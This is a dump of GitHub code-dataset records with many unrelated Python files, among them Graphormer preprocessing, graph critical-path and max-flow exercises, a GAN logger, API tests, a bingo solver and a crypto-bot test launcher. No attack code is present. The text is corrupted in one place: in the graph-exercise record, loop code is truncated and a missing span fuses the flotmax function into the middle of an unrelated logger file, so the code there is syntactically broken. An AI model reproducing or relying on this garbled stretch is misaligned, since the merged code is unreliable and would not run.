edge_index[1, :]]\n edge_attr = torch.cat([edge_attr, rel_pos_3d_attr[:, None]], dim=-1)\n attn_edge_type = torch.zeros([N, N, edge_attr.size(-1)], dtype=torch.long)\n attn_edge_type[edge_index[0, :], edge_index[1, :]] = convert_to_single_emb(edge_attr) + 1\n\n shortest_path_result, path = algos.floyd_warshall(adj.numpy())\n max_dist = np.amax(shortest_path_result)\n edge_input = algos.gen_edge_input(max_dist, path, attn_edge_type.numpy())\n rel_pos = torch.from_numpy((shortest_path_result)).long()\n attn_bias = torch.zeros([N + 1, N + 1], dtype=torch.float) # with graph token\n \n # combine\n item.x = x\n item.adj = adj\n item.attn_bias = attn_bias\n item.attn_edge_type = attn_edge_type\n item.rel_pos = rel_pos\n item.in_degree = adj.long().sum(dim=1).view(-1)\n item.out_degree = adj.long().sum(dim=0).view(-1)\n item.edge_input = torch.from_numpy(edge_input).long()\n\n item.all_rel_pos_3d_1 = torch.from_numpy(item.all_rel_pos_3d).float()\n return item\n\nclass MyPygPCQM4MDataset2(MyPygPCQM4MDataset):\n def __init__(self, root = 'dataset/mypcq_v4'):\n super().__init__(root=root)\n self.all_rel_pos_3d = joblib.load(open('dataset/all_rel_pos_3d.pkl', 'rb'))\n\n def download(self):\n super(MyPygPCQM4MDataset2, self).download()\n\n def process(self):\n super(MyPygPCQM4MDataset2, self).process()\n\n def __getitem__(self, idx):\n if isinstance(idx, int):\n item = self.get(self.indices()[idx])\n item.idx = idx\n item.all_rel_pos_3d = self.all_rel_pos_3d[self.indices()[idx]]\n # donot add noise to test molecules\n if self.indices()[idx] >= 3426030:\n return preprocess_item(item, noise=False)\n return preprocess_item(item, noise=True)\n else:\n return self.index_select(idx)\n","repo_name":"matildalab/GraphormerIPU","sub_path":"srcGPU/ogb_wrapper.py","file_name":"ogb_wrapper.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"32352602432","text":"\"\"\"\nperm\naddu\nfond\nchar\ntoit\nplaf\ncloi\nplom\nelec\nplat\n\n\nconstrution = dict()\n\nconstrution[\"perm\"]=set()\nconstrution[\"addu\"]=set()\nconstrution[\"fond\"]=set()\nconstrution[\"char\"]=set()\nconstrution[\"toit\"]=set()\nconstrution[\"plaf\"]=set()\nconstrution[\"cloi\"]=set()\nconstrution[\"plom\"]=set()\nconstrution[\"elec\"]=set()\nconstrution[\"plat\"]=set()\n\n\nconstrution[\"perm\"].add(\"contenu\",[6])\nconstrution[\"addu\"]=set(\"contenu\",[3])\nconstrution[\"fond\"]=set(\"contenu\",[5,\"perm\",\"addu\"])\nconstrution[\"char\"]=set(\"contenu\",[2,\"fond\"])\nconstrution[\"toit\"]=set(\"contenu\",[2,\"char\"])\nconstrution[\"plaf\"]=set(\"contenu\",[2,\"char\"])\nconstrution[\"cloi\"]=set(\"contenu\",[3,\"plaf\"])\nconstrution[\"plom\"]=set(\"contenu\",[3,\"plaf\",\"cloi\"])\nconstrution[\"elec\"]=set(\"contenu\",[2,\"plaf\",\"cloi\"])\nconstrution[\"plat\"]=set(\"contenu\",[3,\"toit\",\"plaf\",\"cloi\",\"plom\",\"elec\"])\n\n#\"\"\nLgraph=[[],[[0,0]],[[0,0]],[[6,1],[3,2]],[[5,3]],[[2,4]],[[2,4]],[[2,6]],[[2,6],[3,7]],[[2,6],[3,7]],[[2,5],[2,6],[3,7],[3,8],[2,9]],[[3,10]]]\n#\"\"\ndef graphLvM(L):\n M=[]\n for i in range(len(L)) :\n M.append([])\n for j in range(len(L)):\n M[i].append(\"v\")\n for i in range(len(L)):\n for elt in L[i] :\n M[i][elt[1]]=elt[0]\n return(M)\n#Mgraph=graphLvM(Lgraph)\n#print(Mgraph)\n\n\ndef pluslongM(M) :\n R=M[:]\n i=0\n j=0\n for m in range(len(R)) :\n for i in range(len(R)):\n for j in range(len(R)):\n if R[i][j]!='v' :\n for k in range(len(R)) :\n if R[j][k]!='v' :\n if R[i][k]=='v' :\n R[i][k]=R[i][j]+R[j][k]\n else :\n R[i][k]=max(R[i][k],R[i][j]+R[j][k])\n\n return(R)\n\n#tM=pluslongM(Mgraph)\n#print(tM)\n\ndef checrit (Ml) :\n L=[]\n for i in range(len(Ml)) :\n if Ml[-1][i]!='v' and Ml[i][0]!='v' :\n if Ml[-1][0]==Ml[-1][i]+Ml[i][0] :\n L.append(i)\n return(L)\n#criM=checrit(tM)\n#print(criM)\n\ndef plutard(Ml) :\n L=[]\n for i in range(len(Ml)) :\n if Ml[-1][i]!='v' and Ml[i][0]!='v' :\n L.append(Ml[-1][0]-Ml[-1][i])\n return(L)\n\n\"\"\nvar=plutard(tM)\nprint(var)\nLtemp=[]\nfor elt in tM[1:-1] :\n Ltemp.append(elt[0])\n\nprint(Ltemp)\n#\"\"\"\n\nCLEOPATRE = \"Cleopatre\"\nIPHIGENIE = \"Iphigenie\"\nJULIETTE = \"Juliette\"\nFANNY = \"Fanny\"\nCHIMENE = \"Chimene\"\n\nACHILLE = \"Achille\"\nCESAR = \"Cesar\"\nRODRIGUE = \"Rodrigue\"\nROMEO = \"Romeo\"\nMARIUS = \"Marius\"\n\nLES_COUPLES = [(\"start\",CLEOPATRE),(\"start\",IPHIGENIE),(\"start\",JULIETTE),(\"start\",FANNY),(\"start\",CHIMENE),(CLEOPATRE, ACHILLE), (CLEOPATRE, CESAR), (CLEOPATRE, ROMEO),\n (IPHIGENIE, ACHILLE), (JULIETTE, CESAR), (JULIETTE, RODRIGUE), (JULIETTE, ROMEO),\n (FANNY, CESAR), (FANNY, MARIUS), (CHIMENE, RODRIGUE), (CHIMENE, ROMEO),(\"end\",ACHILLE),(\"end\",CESAR),(\"end\",RODRIGUE),(\"end\",ROMEO),(\"end\",MARIUS)]\nCl=[\"start\",CLEOPATRE,IPHIGENIE,JULIETTE,FANNY,CHIMENE,ACHILLE,CESAR,RODRIGUE,ROMEO,MARIUS,\"end\"]\n\nGmar=[]\nfor i in range(len(Cl)) :\n Gmar.append([])\n for elt in LES_COUPLES :\n #print(elt)\n if elt[0]==Cl[i] :\n j=0\n \"\"\"\n flag=True\n while j=m :\n if not j in b[-1] :\n m=M[ch[-1]][j]\n mj=j\n if mj==-1 or m==0 :\n b=b[:-1]\n b[-1].append(ch[-1])\n ch=ch[:-1]\n else :\n b.append([d])\n ch.append(mj)\n if ch == [] :\n flag=False\n else:\n if ch[-1]==s :\n flag=False\n return(ch)\n\ndef copy(Mo) :\n M=[]\n for i in range(len(Mo)) :\n M.append([])\n for elt in Mo[i] :\n M[-1].append(elt)\n return(M)\ndef flotmax(Mo) :\n M = Mo[:][:]\n ch=chemin(M,0,11)\n m=0\n while ch!=[] :\n #print(type(M))\n #print(ch)\n m=M[ch[0]][ch[1]]\n\n #m=I[int(ch[1])]\n\n for i in range(len(ch)-1) :\n if M[ch[i]][ch[i+1]] AbstractLogger:\n return SimpleLogger(model, opt)\n\n\ndef modify_logger_commandline_options(parser: argparse.ArgumentParser) -> argparse.ArgumentParser:\n parser = base_logger.modify_logger_commandline_options(parser)\n parser.add_argument('--save_freq', type=int, default=5, help='モデルの出力の保存頻度')\n return parser\n\n\nclass SimpleLogger(base_logger.BaseLogger):\n def __init__(self, model: AbstractModel, opt: argparse.Namespace) -> None:\n super().__init__(model=model, opt=opt)\n\n def end_epoch(self) -> None:\n super().end_epoch()\n for key, value in self.averager.value().items():\n self.history[key].append(value)\n\n with open(os.path.join(self.save_dir, 'history.json'), 'w') as f:\n json.dump(self.history, f)\n\n if self._trained_epoch % self.opt['save_freq'] == 0:\n self.model.save_networks(self._trained_epoch)\n self.model.save_current_image(self._trained_epoch)\n return\n\n def end_iter(self) -> None:\n current_losses = self.model.get_current_losses()\n self.averager.send(current_losses)\n self.print_status(\n iterations=self.averager.iterations,\n status_dict=current_losses,\n )\n return\n\n def end_all_training(self) -> None:\n self.model.save_networks('last')\n return\n","repo_name":"nnaakkaaii/various-gan-models","sub_path":"various_gan_models/src/loggers/simple_logger.py","file_name":"simple_logger.py","file_ext":"py","file_size_in_byte":1583,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"71396814001","text":"# option 2, spaces around pipes'\nchanges_file = 'changes_python.log'\ndata = [line.strip() for line in open(changes_file, 'r')]\n\nprint(len(data))\n\nsep = 72*'-'\n\n# parse each of the commits and put them into a list of commits\ncommits = []\nindex = 0\nauthor = {}\n\nwhile index < len(data):\n\ttry:\n\t\t# parse each of the commits and put them into a list of commits\n\t\t#the author with space at the end removed\n \n\t\t#details = data[index + 1].split('|') no strip if there are spaces on each side of the pipe.\n\t\tdetails = data[index + 1].split(' | ') \n\t\t#print details\n\t\tcommit =({'revision':details[0], 'author':details[1], 'date':details[2]})\n\t\tindex=data.index(sep, index + 1)\n\t\tcommits.append(commit)\n\t\tindex=data.index(sep, index + 1)\t\n\texcept IndexError:\n\t\tbreak\n\n# print(len(commits))\n\noutput_file = 'changes1.csv'\nmy_file = open(output_file, 'w')\nmy_file.write('Revision, Author,Date\\n')\nfor details in commits:\n\tmy_file.write(commit['revision'] + ',' + commit['author'] + ',\"' + commit['date'] + '\"\\n')\nmy_file.close()\n\n# for details in commit:","repo_name":"dcnbruce/pbd_dnb","sub_path":"read_changes1.py","file_name":"read_changes1.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34329496727","text":"from app import nav\nfrom app.models import Page\n\n\ndef create_nav():\n nav.Bar('frontend')\n\n navbar_main = nav.bars.__getitem__('frontend')\n navbar_main_items = navbar_main.items\n\n page = Page()\n\n for id in page.get_top_level_pages():\n sub_pages = []\n page = Page()\n page.set_id(id[0])\n page.load()\n\n for sub_page_id in page.get_child_pages(page.get_id()):\n sub_page = Page()\n sub_page.set_id(sub_page_id[0])\n sub_page.load()\n item = nav.Item(sub_page.get_label(), 'frontend.page', {'page_eid': sub_page.get_eid()})\n sub_pages.append(item)\n\n navbar_main_items.append(\n nav.Item(page.get_label(), 'frontend.page', {'page_eid': page.get_eid()}, items=sub_pages))\n","repo_name":"WLANRouterKing/elektrotechnik-rechner","sub_path":"app/frontend/nav.py","file_name":"nav.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23176576498","text":"\n# Exercício 1\n# Escreva um programa que receba um número natural n n na entrada e imprima n! n! (fatorial) na saída.\n\n# Exemplo:\n# Digite o valor de n: 5\n# 120\n\n# Dica: lembre-se que o fatorial de 0 vale 1!\n\naux = 1\nnumero = int(input(\"Digite o valor de n: \"))\n\nif (numero == 0):\n numero = 1\nelse:\n while (numero != 0):\n \n aux = aux * numero\n #print (numero)\n numero = numero - 1\n #print (aux)\n \nprint (aux)","repo_name":"daniel-rneto/Introducao_Ciencia_Computacao_com_Python_Parte_1","sub_path":"semana-4/Lista de exercicios - 3/exercicio01.py","file_name":"exercicio01.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74174762163","text":"import json\nimport pytest\nfrom sqlalchemy.orm.session import Session\nfrom opencdms.models.climsoft import v4_1_1_core as climsoft_models\nfrom climsoft_api.api.qctype import schema as qctype_schema\nfrom tests.datagen import qctype as climsoft_qctype\nfrom fastapi.testclient import TestClient\n\n\n@pytest.fixture\ndef get_qc_type(session: Session):\n qc_type = climsoft_models.Qctype(**climsoft_qctype.get_valid_qc_type_input().dict())\n session.add(qc_type)\n session.commit()\n yield qc_type\n session.close()\n\n\n@pytest.fixture\ndef get_qc_types(session: Session):\n for _ in range(1, 11):\n session.add(\n climsoft_models.Qctype(**climsoft_qctype.get_valid_qc_type_input().dict())\n )\n session.commit()\n\n\ndef test_should_return_first_five_qc_types(client: TestClient, get_qc_types):\n response = client.get(\"/v1/qc-types\", params={\"limit\": 5})\n assert response.status_code == 200\n response_data = response.json()\n assert len(response_data[\"result\"]) == 5\n\n\ndef test_should_return_single_qc_type(\n client: TestClient, get_qc_type: climsoft_models.Qctype\n):\n response = client.get(f\"/v1/qc-types/{get_qc_type.code}\")\n assert response.status_code == 200\n response_data = response.json()\n assert len(response_data[\"result\"]) == 1\n\n\ndef test_should_create_a_qc_type(client: TestClient):\n qc_type_data = climsoft_qctype.get_valid_qc_type_input().dict(by_alias=True)\n response = client.post(\"/v1/qc-types\", data=json.dumps(qc_type_data, default=str))\n assert response.status_code == 200\n response_data = response.json()\n assert len(response_data[\"result\"]) == 1\n\n\ndef test_should_raise_validation_error(client: TestClient):\n qc_type_data = {\"aaa\": \"bbbbbbb\"}\n response = client.post(\"/v1/qc-types\", data=json.dumps(qc_type_data, default=str))\n assert response.status_code == 422\n\n\ndef test_should_update_qc_type(client: TestClient, get_qc_type):\n qc_type_data = qctype_schema.QCType.from_orm(get_qc_type).dict(by_alias=True)\n code = qc_type_data.pop(\"code\")\n updates = {**qc_type_data, \"description\": \"updated name\"}\n\n response = client.put(f\"/v1/qc-types/{code}\", data=json.dumps(updates, default=str))\n response_data = response.json()\n\n assert response.status_code == 200\n assert response_data[\"result\"][0][\"description\"] == updates[\"description\"]\n\n\ndef test_should_delete_qc_type(client: TestClient, get_qc_type):\n qc_type_data = qctype_schema.QCType.from_orm(get_qc_type).dict(by_alias=True)\n code = qc_type_data.pop(\"code\")\n\n response = client.delete(f\"/v1/qc-types/{code}\")\n assert response.status_code == 200\n\n response = client.get(f\"/v1/qc-types/{code}\")\n assert response.status_code == 404\n","repo_name":"climsoft/climsoft-api","sub_path":"tests/integration/controller/test_qctype_controller.py","file_name":"test_qctype_controller.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"43812370963","text":"import math\r\nimport cv2\r\nimport numpy as np\r\nfrom bezier import bezier\r\nfrom shapely import Point\r\nfrom shapely import *\r\nfrom shapely.geometry import Polygon\r\nfrom shapely.ops import split\r\nfrom shapely import geometry\r\n\r\nfrom commonData import DirectionStatus, TypeСutout\r\n\r\nclass sequencer:\r\n def classifyPath(direction, approx, lineN):\r\n direction = sequencer.filterDirection(direction)\r\n\r\n seq = []\r\n # выделение последовательностей\r\n prev = direction[0]\r\n param = (prev, 0)\r\n seq.append(param)\r\n all = len(direction)\r\n for index in range(1, len(direction)):\r\n dir = direction[index]\r\n if dir != prev:\r\n prev = dir\r\n param = (prev, index)\r\n seq.append(param)\r\n pass\r\n noise = sequencer.filterSeqNoise(seq)\r\n if noise == True:\r\n return TypeСutout.undifined, None\r\n allSeq = len(seq)\r\n if allSeq <= 1:\r\n # if seq[0][0]== DirectionStatus.dir90 or seq[1][0] == DirectionStatus.dir180:\r\n # pp0, pp1, pp2= sequencer.calk3PointRect(approx, lineN)\r\n # hasLines, ppX0, ppX1, ppX2 = sequencer.findParallelLines(approx)\r\n # if hasLines == True:\r\n # return TypeСutout.UType1, (pp0, pp1, pp2, ppX0, ppX1,ppX2)\r\n # return TypeСutout.UType0, (pp0, pp1, pp2)\r\n return TypeСutout.undifined, None\r\n if allSeq == 2:\r\n if seq[0][0]== DirectionStatus.dir90 and seq[1][0] == DirectionStatus.dir180:\r\n pp0, pp1, pp2= sequencer.calk3PointRect(approx, lineN)\r\n hasLines, ppX0, ppX1, ppX2 = sequencer.findParallelLines(approx)\r\n if hasLines == True:\r\n return TypeСutout.UType1, (pp0, pp1, pp2, ppX0, ppX1,ppX2)\r\n return TypeСutout.UType0, (pp0, pp1, pp2)\r\n if allSeq == 3:\r\n if seq[0][0]== DirectionStatus.dir180 and seq[1][0] == DirectionStatus.dir90 and seq[2][0] == DirectionStatus.dir180:\r\n # pp0, pp1, pp2= sequencer.calk3PointRect(approx, lineN)\r\n # hasLines, ppX0, ppX1,ppX2 = sequencer.findParallelLines(approx)\r\n # return TypeСutout.UType2, (pp0, pp1, pp2, ppX0, ppX1, ppX2)\r\n param = sequencer.findParam4Lines(approx)\r\n if param is None:\r\n return TypeСutout.undifined, None\r\n ppS = sequencer.convertCoutoreToPoint(approx[0])\r\n ppE = sequencer.convertCoutoreToPoint(approx[-1])\r\n return TypeСutout.UType3, (param, ppS, ppE)\r\n if allSeq == 4:\r\n param = sequencer.findParam4Lines(approx)\r\n if param is None:\r\n return TypeСutout.undifined, None\r\n ppS = sequencer.convertCoutoreToPoint(approx[0])\r\n ppE = sequencer.convertCoutoreToPoint(approx[-1])\r\n return TypeСutout.UType3, (param, ppS, ppE)\r\n # test\r\n if allSeq == 11:\r\n # return TypeСutout.undifined, None\r\n param = sequencer.findParam4Lines(approx)\r\n if param is None:\r\n return TypeСutout.undifined, None\r\n ppS = sequencer.convertCoutoreToPoint(approx[0])\r\n ppE = sequencer.convertCoutoreToPoint(approx[-1])\r\n lines = sequencer.lenghtContoureLine(approx, False)\r\n return TypeСutout.UType3, (param, ppS, ppE)\r\n \r\n return TypeСutout.undifined, None\r\n def convertCoutoreToPoint( countorePoint):\r\n point = Point(countorePoint[0][0],countorePoint[0][1])\r\n return point\r\n\r\n def findParam3Lines(approx):\r\n hasLines, ppX0, ppX1,ppX2 = sequencer.findParallelLines(approx)\r\n def findParam4Lines(approx):\r\n # peri = cv2.arcLength(approx,False)/25\r\n peri = cv2.arcLength(approx,False)/len(approx)\r\n lines = sequencer.lenghtContoureLine(approx, False)\r\n # выделение нормальных линия\r\n linesNew = []\r\n for line in lines:\r\n if line[0]> peri:\r\n linesNew.append(line)\r\n linesNew = list(reversed(linesNew))\r\n # выделение вертикальных линия\r\n border = 10\r\n start = False\r\n linesOut = []\r\n iS = -1\r\n canAddHorizont = False\r\n for line in linesNew:\r\n if line[0]< 30:\r\n continue\r\n dx = abs(line[1].x-line[2].x)\r\n dy = abs(line[1].y-line[2].y)\r\n if dx < border:\r\n if start == False:\r\n start = True\r\n iE = line[5]\r\n linesOut.append((line, 0))\r\n canAddHorizont = False\r\n else:\r\n start = False\r\n iS = line[5]\r\n point = sequencer.findMaxY(approx, iS, iE)\r\n linesOut.append((line, 1, point))\r\n canAddHorizont = True\r\n if dy < border and canAddHorizont:\r\n linesOut.append((line, -1, None))\r\n if len(linesOut)==0:\r\n return None\r\n # if len(linesOut)>=6:\r\n # linesOutShorted = []\r\n # for line in linesOut:\r\n # if line[0][0]> 30:\r\n # linesOutShorted.append(line)\r\n # return linesOutShorted\r\n return linesOut\r\n \r\n def findMaxY( approx, iS, iE):\r\n y = 0\r\n point = Point(0,0)\r\n for index in range(iS, iE):\r\n pointY = approx[index][0][1]\r\n if pointY > y:\r\n y = pointY\r\n point = Point(approx[index][0][0],approx[index][0][1])\r\n return point\r\n \r\n def lenghtLine( pp0, pp1):\r\n lenLine = math.sqrt( ((pp0[0]-pp1[0])**2)+((pp0[1]-pp1[1])**2))\r\n return lenLine\r\n def lenghtContoureLine( contour, sort = True):\r\n lines = []\r\n for index in range(len(contour)-1):\r\n pointS = contour[index]\r\n pointE = contour[index+1]\r\n lenLine = sequencer.lenghtLine( pointS[0], pointE[0])\r\n pp0 = Point(pointS[0][0],pointS[0][1])\r\n pp1 = Point(pointE[0][0],pointE[0][1])\r\n dx = pp0.x-pp1.x\r\n dy = pp0.y-pp1.y\r\n lines.append((lenLine, pp0, pp1, dx, dy, index))\r\n if sort:\r\n lines = sorted(lines, key=lambda x: x[0], reverse=True)\r\n return lines\r\n\r\n def findParallelLines(approx):\r\n peri = cv2.arcLength(approx,False)/10\r\n lines = sequencer.lenghtContoureLine(approx)\r\n if len(lines)>3:\r\n lineA = lines[0]\r\n lineB = lines[1]\r\n lineC = lines[2]\r\n dxA = abs(lineA[1].x-lineA[2].x)\r\n dxB = abs(lineB[1].x-lineB[2].x)\r\n dxC = abs(lineC[1].x-lineC[2].x)\r\n x1 = sequencer.getMiddleX(lineA)\r\n x2 = sequencer.getMiddleX(lineB)\r\n x3 = sequencer.getMiddleX(lineC)\r\n border = 10\r\n if dxA < border and dxB < border and dxC < border and lineA[0]>peri and lineB[0]>peri and lineC[0]>peri:\r\n xAll = [x1,x2, x3]\r\n xAll.sort()\r\n return True, xAll[0], xAll[1],xAll[2]\r\n if dxA < border and dxB < border and lineA[0]>peri and lineB[0]>peri:\r\n xAll = [x1,x2]\r\n xAll.sort()\r\n return True, xAll[0], xAll[1], None\r\n # return True, lineA[1].x, lineB[1].x, None\r\n return False, None, None, None\r\n def getMiddleX(line):\r\n minX = min(line[1].x, line[2].x)\r\n x = minX + abs(line[1].x-line[2].x)/2\r\n return x\r\n # return line[1].x\r\n\r\n # крание и центральная нижняя точка\r\n def calk3PointRect(approx, lineN):\r\n pp0 = Point(lineN[0][0],lineN[0][1])\r\n pp2 = Point(approx[-1][0][0],approx[-1][0][1])\r\n pp1 = approx[0]\r\n x = pp0.x + ((pp2.x - pp0.x)/2)\r\n y = 0\r\n for pp in approx:\r\n y = max(y, pp[0][1])\r\n pass\r\n pp1 = Point(x,y)\r\n return pp0, pp1, pp2\r\n \r\n def checkPath(approx):\r\n directions = []\r\n for index in range(len(approx)-1):\r\n point = Point(approx[index][0][0],approx[index][0][1])\r\n pointN = Point(approx[index+1][0][0],approx[index+1][0][1])\r\n dir = sequencer.calkDir(point, pointN)\r\n directions.append(dir)\r\n return directions\r\n \r\n def calkDir(point, pointN):\r\n dx = point.x-pointN.x\r\n dy = -(point.y-pointN.y)\r\n\r\n if dx >= 0 and dy >= 0:\r\n return DirectionStatus.dir90\r\n if dx >= 0 and dy < 0:\r\n return DirectionStatus.dir180\r\n if dx < 0 and dy < 0:\r\n return DirectionStatus.dir270\r\n if dx < 0 and dy >= 0:\r\n return DirectionStatus.dir360\r\n\r\n return DirectionStatus.undifined\r\n \r\n def filterDirection(direction):\r\n if len(direction)<=4:\r\n return direction\r\n directionNew = []\r\n directionNew.append(direction[0])\r\n directionNew.append(direction[1])\r\n for index in range(2, len(direction)-2):\r\n dir = direction[index]\r\n # если совпадают 2 предидущих и 2 последующих то центр устанавливается ка у них\r\n if direction[index-2] == direction[index-1] and direction[index+2] == direction[index+1] and direction[index-1] == direction[index+1]:\r\n directionNew.append(direction[index+1])\r\n # если совпадают 2 предидущих и 2 последующих то центр устанавливается ка у них\r\n elif direction[index+2] == direction[index+1] and direction[index-1] == direction[index+1]:\r\n directionNew.append(direction[index+1])\r\n # если совпадают 2 предидущих и 2 последующих то центр устанавливается ка у них 1-2i-1-2\r\n elif direction[index-1] != direction[index] and direction[index] != direction[index+1] and direction[index] == direction[index+2]:\r\n pass\r\n else:\r\n directionNew.append(dir)\r\n directionNew.append(direction[-1])\r\n directionNew.append(direction[-2])\r\n \r\n return directionNew\r\n def getSizeFig(line, minSize):\r\n fig = line[6]\r\n xSize = fig.maxX - fig.minX\r\n ySize = fig.maxY - fig.minY\r\n if xSize< minSize and ySize < minSize:\r\n return xSize, ySize, True\r\n return xSize, ySize, False\r\n \r\n def testSegment(segA, segB, segC):\r\n if segA[0]==segC[0] and segA[0] != segB[0]:\r\n if segA[1]<=2 and segB[1] <=2 and segC[1] <=2:\r\n return False\r\n return True\r\n def filterSeqNoise(seqments):\r\n all = len(seqments)\r\n # if all<=3:\r\n # return True\r\n counter =0\r\n for index in range(all-2):\r\n ok = sequencer.testSegment(seqments[index], seqments[index+1], seqments[index+2])\r\n if ok == False:\r\n return True\r\n continue\r\n # all = len(direction)\r\n # # return True\r\n # counterA = 0\r\n # counterB = 0\r\n # counterC = 0\r\n # counterD = 0\r\n # for index in range(all):\r\n # dir = direction[index]\r\n # if dir == DirectionStatus.dir90:\r\n # counterA = counterA +1\r\n # elif dir == DirectionStatus.dir180:\r\n # counterB = counterB +1\r\n # elif dir == DirectionStatus.dir270:\r\n # counterC = counterC +1\r\n # elif dir == DirectionStatus.dir360:\r\n # counterD = counterD +1\r\n # if all >= 6:\r\n # all = all / 4\r\n # if counterA > all and counterB > all:\r\n # return True\r\n \r\n return False\r\n","repo_name":"andkir1024/converterLekV5","sub_path":"sequencer.py","file_name":"sequencer.py","file_ext":"py","file_size_in_byte":12117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11747406874","text":"class Solution:\n def trap(self, height: List[int]) -> int:\n '''\n Setup: We need - leftmax, rightmax, left pointer, right pointer and area.\n 1. We will begin by declaring the variables, which are all 0 except right, which is going to close from the end.\n 2. While left < right, we iterate and check our positional index values.\n 2.1. If our left value is less than or equal to our right value, we will do the following:\n 2.1.1. We will update the leftmax = max(leftmax, value_at_left_index)\n 2.1.2. We will add to area: the abs(value_at_left_index - leftmax)\n 2.1.3. We will increment the right pointer.\n 2.2. If our rught value is smaller than the left, we will do the same as left, but with right values.\n 2.2.1. Update rightmax = max(rightmax, value_at_right_index)\n 2.2.2. Update the area to the abs(rightmax - value_at_right_index)\n 2.2.3. Increment the right pointer.\n 3. Return the area.\n '''\n leftmax = rightmax = left = area = 0\n right = len(height) - 1\n \n while left < right:\n if height[left] <= height[right]:\n leftmax = max(leftmax, height[left])\n area += abs(height[left] - leftmax)\n left += 1\n else:\n rightmax = max(height[right], rightmax)\n area += abs(height[right] - rightmax)\n right -= 1\n \n return area\n ","repo_name":"zeroviral/leetcode_stuff","sub_path":"trapping-rain-water/trapping-rain-water.py","file_name":"trapping-rain-water.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"70989959921","text":"import copy\n\ndef numbers():\n with open('input.txt', 'r') as f:\n line = f.readline()\n\n yield from map(int, line.strip().split(','))\n\ndef cards():\n with open('input.txt', 'r') as f:\n f.readline()\n f.readline() # weg ermee\n\n card = []\n while True:\n line = f.readline()\n\n if line == '\\n' or line == '':\n if len(card) > 0:\n yield card\n card = []\n\n if line == '':\n break\n else:\n continue\n \n card.append([int(n) for n in line.split()])\n\nclass BingoCard:\n def __init__(self, card):\n self.card = copy.deepcopy(card)\n \n def draw(self, number):\n for i in range(5):\n for j in range(5):\n if self.card[i][j] == number:\n self.card[i][j] = -1\n \n def bingo(self):\n for i in range(5):\n if sum(self.card[i]) == -5:\n return True\n if sum([self.card[j][i] for j in range(5)]) == -5:\n return True\n return False\n \n def score(self):\n s = 0\n for i in range(5):\n s += sum([n for n in self.card[i] if n >= 0])\n return s","repo_name":"jonkerj/aoc","sub_path":"day04/bingo.py","file_name":"bingo.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3887218721","text":"#!/usr/bin/env python\n__author__ = \"Apuã Paquola\"\n\nimport subprocess\nfrom ..genome import Interval\n\n\ndef occupied_windows_in_genome(genome, window_size, step, tabix_filename):\n occ = dict()\n cmd = \"gunzip -c \" + tabix_filename + \"| cut -f 1-3,5,8 | awk 'and($4,64) && $5>=40 {print}' | cut -f 1-3 \" #| head -5\n f = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)\n for line in f.stdout:\n a = line.decode().rstrip('\\r\\n').split(sep='\\t')\n \n if a[0] not in occ:\n occ[a[0]]=set()\n \n wstart = max(-1, int(a[1]) - window_size)\n wend = int(a[2])\n \n for x in range(wstart // step + 1, (wend-1) // step + 1):\n occ[a[0]].add(x*step)\n \n for chrom in sorted(occ.keys()):\n for pos in sorted(occ[chrom]):\n yield genome.fit_interval(Interval(chrom,\n pos,\n pos + window_size))\n","repo_name":"apuapaquola/pyslavseq","sub_path":"src/pyslavseq/features/occupied_windows.py","file_name":"occupied_windows.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20367549452","text":"# Use this script to test the bot with different arguments (short & long window).\n\nimport multiprocessing\nimport subprocess\nimport sys\nimport time\nimport os\n\nfrom colorama import init, Fore, Back, Style\n\npowerplan_script_exists = os.path.isfile(\"powerplan.py\")\n\nif powerplan_script_exists:\n from powerplan import allowsleep, forbidsleep\n\nTEST_DURATION = int(sys.argv[1]) if len(sys.argv) > 1 else 60 * 30\n\ndef run_script(script_path, args):\n command = [\"python\", script_path] + args\n subprocess.run(command)\n\nif __name__ == \"__main__\":\n print(Fore.YELLOW + \"Starting test mode with duration of \" + str(TEST_DURATION) + \" seconds.\")\n print(\"Started on \" + str(time.time()) + \".\")\n print(Fore.WHITE + \"---------------------------------\")\n\n if powerplan_script_exists:\n forbidsleep()\n\n # clear output folder (all files except .gitkeep)\n for file in os.listdir(\"TestOutput\"):\n if file != \".gitkeep\":\n os.remove(\"TestOutput/\" + file)\n\n script_to_run = \"main.py\"\n\n script_arguments_list = [\n ['8', '18'],\n ['12', '25'],\n ['15', '32'],\n ['30', '64'],\n ['60', '128'],\n ]\n\n for args in script_arguments_list:\n args.append(\"True\")\n args.append(str(TEST_DURATION))\n\n with multiprocessing.Pool() as pool:\n pool.starmap(run_script, [(script_to_run, args) for args in script_arguments_list])\n\n print(Fore.GREEN + \"Log files saved to /TestOutput/\")\n print(Fore.WHITE + \"---------------------------------\")\n\n if powerplan_script_exists:\n allowsleep()","repo_name":"Actulurus/crypto-bot","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72254745522","text":"import streamlit as st\nfrom PIL import Image\nfrom style_transfer.solver import transfer_style\n\nst.set_option('deprecation.showfileUploaderEncoding', False)\nst.title(\"Style Transfer Using PyTorch\")\n\n# variables\nmodel_layers = [\"conv_%d_%d\" % (i, j) for i in range(1, 3) for j in range(1, 3)] + \\\n 